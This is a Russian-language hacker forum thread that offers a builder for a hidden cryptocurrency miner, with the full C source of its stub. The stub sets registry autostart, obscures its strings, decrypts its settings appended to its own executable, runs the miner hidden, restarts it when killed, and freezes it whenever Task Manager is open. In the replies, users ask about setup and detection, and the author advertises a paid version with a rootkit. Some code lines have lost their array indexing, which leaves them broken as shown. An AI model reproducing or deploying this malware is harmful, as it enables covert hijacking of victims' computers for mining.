Идея Авторская статья - Тихий майнер для самых маленьких [Билдер] (исходник+бинарники)

Тема в разделе "Вирусология", создана пользователем Fortran66, 3 июл 2017.

  1. Fortran66

    Fortran66

    Сообщения:
    14
    Баллы:
    1
    Билдер "Silent miner for babies" генерирует исполняемый файл с такими возможностями:
    • Автозапуск
    • Запуск майнера в скрытом режиме (просто не показывает окно, никаких руткитов)
    • Постоянно проверяет запущен ли диспетчер задач, если да, то "замораживает" майнер
    • Постоянно проверяет запущен ли майнер, если нет, то запускает его снова
    Билдер позволяет указать имя программы для ветки реестра автозапуска и путь к исполняемому файлу майнера (допускаються абсолютные и относительные пути, но без переменных окружения). Размер созданного файла будет около 5 кб. Исходники билдера открыты, если вы не доверяете бинарникам, то можете просмотреть исходники и скомпилировать их. Для компиляции необходимы Visual C++ и PureBasic.

    Пароль от zip файла: Fortran66

    Скриншот:
    https://image.ibb.co/evCKA5/screenshot.jpg

    Исходный код стаба stub.c:
    Код:
    // SILENT MINER FOR BABIES (c) FORTRAN66
    // COMPILER: C++ Visual Studio
    //
    // You can donate this project
    // bitcoin:1M5C89pFBoKrP5bwSCwK1AYTjogZ9qEiro

    #include <windows.h>
    #include <tlhelp32.h>
    #include <stdint.h>

    #pragma comment(linker, "/SUBSYSTEM:WINDOWS,5.01 /ENTRY:miner_main ")

    #pragma comment(lib, "kernel32.lib")
    #pragma comment(lib, "user32.lib")
    #pragma comment(lib, "advapi32.lib")

    #define _wcscat(a,b) lstrcatW(a,b)
    #define _wcslen(a) lstrlenW(a)
    #define _wcscmpi(a,b) lstrcmpiW(a,b)

    #define _malloc(memsize) VirtualAlloc(NULL, memsize, MEM_COMMIT, PAGE_READWRITE)
    #define _free(p) VirtualFree(p, 0, MEM_RELEASE)

    typedef struct _RC4ctx {
    uint8_t s[0x100];
    uint32_t i, j;
    } RC4ctx, *pRC4ctx;

    #pragma pack(push, 1)
    typedef struct eof_settings {
    uint16_t wSize;
    uint16_t wName;
    uint16_t wCmdLine;
    WCHAR buffer[0x800];
    } eof_settings_t, *peof_settings_t;
    #pragma pack(pop)

    void _memset(void *s, uint8_t c, size_t n) {
    unsigned char *s_ = s;
    for (int i = 0; i < n; ++i) s_ = c;
    return;
    }

    void _memcpy(void *s, const void *ct, size_t n) {
    for (int i = 0; i < n; ++i) ((char *)s) = ((char *)ct);
    return;
    }

    void rc4Init(RC4ctx *context, const uint8_t *key, size_t length) {
    uint32_t i;
    uint32_t j;
    uint8_t temp;
    context->i = 0;
    context->j = 0;
    for(i = 0; i < 256; i++)
    context->s = i;
    for(i = 0, j = 0; i < 256; i++) {
    j = (j + context->s + key[i % length]) % 256;
    temp = context->s;
    context->s = context->s[j];
    context->s[j] = temp;
    }
    return;
    }

    void rc4Cipher(RC4ctx *context, uint8_t *mem, size_t length) {
    uint8_t temp;
    uint32_t i = context->i;
    uint32_t j = context->j;
    uint8_t *s = context->s;
    while(length > 0) {
    i = (i + 1) % 256;
    j = (j + s) % 256;
    temp = s;
    s = s[j];
    s[j] = temp;
    *mem = *mem ^ s[(s + s[j]) % 256];
    mem++;
    length--;
    }
    context->i = i;
    context->j = j;
    return;
    }

    BOOL RegisterMyProgramForStartup(PCWSTR pszAppName, PCWSTR pathToExe, PCWSTR args) {
    HKEY hKey = NULL;
    LONG lResult = 0;
    BOOL fSuccess = TRUE;
    DWORD dwSize;
    WCHAR buff[] = {L'S',L'o',L'f',L't',L'w',L'a',L'r',L'e',L'\\',L'M',L'i',L'c',L'r',L'o',L's',L'o',L'f',L't',\
    L'\\',L'W',L'i',L'n',L'd',L'o',L'w',L's',L'\\',L'C',L'u',L'r',L'r',L'e',L'n',L't',L'V',L'e',L'r',L's',L'i',L'o',L'n',\
    L'\\',L'R',L'u',L'n',0};

    WCHAR szValue[MAX_PATH*2];
    _memset(szValue, 0, MAX_PATH*4);
    szValue[0] = L'\"';
    _wcscat(szValue, pathToExe);
    int i = _wcslen(szValue);
    szValue = L'\"';
    szValue[i+1] = L' ';
    if (args != NULL) {
    _wcscat(szValue, args);
    }
    lResult = RegCreateKeyExW(HKEY_CURRENT_USER, buff, 0, NULL, 0, (KEY_WRITE | KEY_READ), NULL, &hKey, NULL);
    fSuccess = (lResult == 0);
    if (fSuccess) {
    dwSize = (_wcslen(szValue) + 1) * 2;
    lResult = RegSetValueExW(hKey, pszAppName, 0, REG_SZ, (BYTE*)szValue, dwSize);
    fSuccess = (lResult == 0);
    }
    if (hKey != NULL) {
    RegCloseKey(hKey);
    hKey = NULL;
    }
    return fSuccess;
    }

    int detect_taskmgr(void) {
    WCHAR taskmgr_name[] = {L't', L'a', L's', L'k', L'm', L'g', L'r', L'.',L'e',L'x',L'e',0};
    int ret = FALSE;
    PROCESSENTRY32W processEntry;
    processEntry.dwSize = sizeof(PROCESSENTRY32W);
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (Process32FirstW(hSnapshot, &processEntry) == TRUE) {
    while (Process32NextW(hSnapshot, &processEntry) == TRUE) {
    if (!_wcscmpi(processEntry.szExeFile, taskmgr_name)) {
    ret = TRUE;
    break;
    };
    };
    };
    CloseHandle(hSnapshot);
    return(ret);
    }

    void miner_main() {
    LARGE_INTEGER li;
    WCHAR szPathToExe[MAX_PATH];
    STARTUPINFOW si;
    PROCESS_INFORMATION pi;
    HANDLE hFileExe;
    uint32_t exitCode;
    void *eof = NULL;
    size_t eof_size = 0;
    char rc4key[] = {'m','i','c','r','o',' ','m','i','n','e','r'};
    RC4ctx rc4ctx;
    uint32_t dwHiddenProcessId;
    HANDLE hChildProcess;
    rc4Init(&rc4ctx, rc4key, 11);
    GetModuleFileNameW(NULL, szPathToExe, MAX_PATH);
    hFileExe = CreateFileW(szPathToExe, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    if (hFileExe != INVALID_HANDLE_VALUE) {
    uint32_t exefilesize;
    void *exefilebuffer;
    GetFileSizeEx(hFileExe, &li);
    exefilesize = li.LowPart;
    exefilebuffer = _malloc(exefilesize);
    if (exefilebuffer) {
    uint32_t read;
    if (ReadFile(hFileExe, exefilebuffer, exefilesize, &read, NULL) && (exefilesize == read)) {
    size_t pe_size = 0;
    if (((IMAGE_DOS_HEADER *)exefilebuffer)->e_magic == IMAGE_DOS_SIGNATURE) {
    PIMAGE_NT_HEADERS ntheader = (PIMAGE_NT_HEADERS)&((unsigned char *)(exefilebuffer))[((IMAGE_DOS_HEADER *)exefilebuffer)->e_lfanew];
    if (ntheader->Signature == IMAGE_NT_SIGNATURE) {
    uint16_t nSections = ntheader->FileHeader.NumberOfSections;
    uint32_t nDirEntries = ntheader->OptionalHeader.NumberOfRvaAndSizes;
    PIMAGE_SECTION_HEADER sections = (PIMAGE_SECTION_HEADER)&ntheader->OptionalHeader.DataDirectory[nDirEntries];
    pe_size = sections[nSections-1].PointerToRawData+sections[nSections-1].SizeOfRawData;
    if (pe_size && (eof_size = exefilesize - pe_size) && (eof = _malloc(exefilesize))) {
    _memcpy(eof, &((char *)exefilebuffer)[pe_size], eof_size);
    }
    }
    }
    };
    _free(exefilebuffer);
    }
    CloseHandle(hFileExe);
    if (!(eof && eof_size) || (eof_size < 0x16))
    ExitProcess(0);
    rc4Cipher(&rc4ctx, eof, eof_size);
    peof_settings_t settings = (peof_settings_t)eof;
    if (settings->wSize != eof_size)
    ExitProcess(0);
    RegisterMyProgramForStartup(&settings->buffer[settings->wName], szPathToExe, NULL);
    _memset(&si, 0, sizeof(STARTUPINFOW));
    _memset(&pi, 0, sizeof(PROCESS_INFORMATION));
    si.cb = sizeof(STARTUPINFO);
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    CreateProcessW(NULL, &settings->buffer[settings->wCmdLine], NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);
    hChildProcess = pi.hProcess;
    int flag = FALSE;
    while (TRUE) {
    if (GetExitCodeProcess(hChildProcess, &exitCode) && (exitCode != STILL_ACTIVE)) {
    _memset(&si, 0, sizeof(STARTUPINFOW));
    _memset(&pi, 0, sizeof(PROCESS_INFORMATION));
    si.cb = sizeof(STARTUPINFO);
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    CreateProcessW(NULL, &settings->buffer[settings->wCmdLine], NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);
    dwHiddenProcessId = pi.dwProcessId;
    hChildProcess = pi.hProcess;
    }
    if (detect_taskmgr()) {
    if (!flag)
    DebugActiveProcess(dwHiddenProcessId);
    flag = TRUE;
    } else {
    if (flag)
    DebugActiveProcessStop(dwHiddenProcessId);
    flag = FALSE;
    }
    Sleep(500);
    }
    }
    return;
    }
  2. CYBER GHETTO

    CYBER GHETTO

    Сообщения:
    653
    Баллы:
    18
    За код вообще от души
  3. SDy

    SDy

    Сообщения:
    16
    Баллы:
    1
    В Command Line уточните что писать, пишу пул, -u mail все такое, но не работает
  4. Fortran66

    Fortran66

    Сообщения:
    14
    Баллы:
    1
    Тоесть просто в консоли работает, а из малвари не запускаеться? Писать надо путь к файлу майнера относительно текущего местоположения "малвари" в кавычках, если есть пробелы в пути.
  5. SDy

    SDy

    Сообщения:
    16
    Баллы:
    1
    Можешь пример привести что писать в Command Line? Видимо что-то все равно не так делаю
  6. Fortran66

    Fortran66

    Сообщения:
    14
    Баллы:
    1
    "C:\WINDOWS\notepad.exe" readme.txt
    Если notepad.exe находиться в том же каталоге, что и исполняемый файл, то можно писать просто "notepad.exe" readme.txt
  7. titanxxx

    titanxxx

    Сообщения:
    49
    Баллы:
    6
    Это Майнер?
  8. titanxxx

    titanxxx

    Сообщения:
    49
    Баллы:
    6
    Это получается Майнер?
  9. Fortran66

    Fortran66

    Сообщения:
    14
    Баллы:
    1
    да, блокнот или майнер - не имеет значение. оно запускает прежде всего внешнюю программу
  10. titanxxx

    titanxxx

    Сообщения:
    49
    Баллы:
    6
    На телефон не загрузится?
  11. Fortran66

    Fortran66

    Сообщения:
    14
    Баллы:
    1
    Нет, майнер не для Андроида, а для винды.
  12. titanxxx

    titanxxx

    Сообщения:
    49
    Баллы:
    6
    Сильно палится?
  13. Fortran66

    Fortran66

    Сообщения:
    14
    Баллы:
    1
    Это наглядный паблик для ознакомления со скрытым майнингом, поэтому палиться и будет палиться еще больше. Вы уже не младенец и нужно надежное решение с пооддержкой ? Обращайтесь ко мне, но на других условиях.
  14. titanxxx

    titanxxx

    Сообщения:
    49
    Баллы:
    6
    Какие условия?
  15. Fortran66

    Fortran66

    Сообщения:
    14
    Баллы:
    1
    Я сейчас пиляю коммерческий продукт по майнерам, мне важно знать какие опции по какой цене устроят вас. Вопрос стоит не столько в том, смогу ли я сделать продукт с такими-то фичами (могу хоть руткит добавить для сокрытия от диспетчера задач, правда до 10 винды только), а в том сколько покупатели будут готовы выложить за все это добро. Цены вроде 1000 рублей я даже не рассматриваю - саппортом за*бусь работать. Пишите в ПМ ваши пожелания и бюджет.
  16. decoder

    decoder

    Сообщения:
    1
    Баллы:
    1
  17. Anon85

    Anon85

    Сообщения:
    28
    Баллы:
    1

    Респект за работу) код просто отличный, и придраться не к чему
  18. GoodFellow

    GoodFellow

    Сообщения:
    25
    Баллы:
    1
    нормалдос. как насчет совместить? впилять уникальный стаб генератор + полиморфизм + селф дестракшн с полиморфом?))
  19. burilo

    burilo

    Сообщения:
    12
    Баллы:
    1
    Что такое майнер? :D
  20. qwertyakka

    qwertyakka

    Сообщения:
    10
    Баллы:
    1
    Разве нельзя открыть гугл и прочесть ?

    Отличная вещь, для знакомства перед покупкой.
    Тем более, в "умелых" руках и на этом можно собрать денег для покупки нормального майнера

Поделиться этой страницей

Top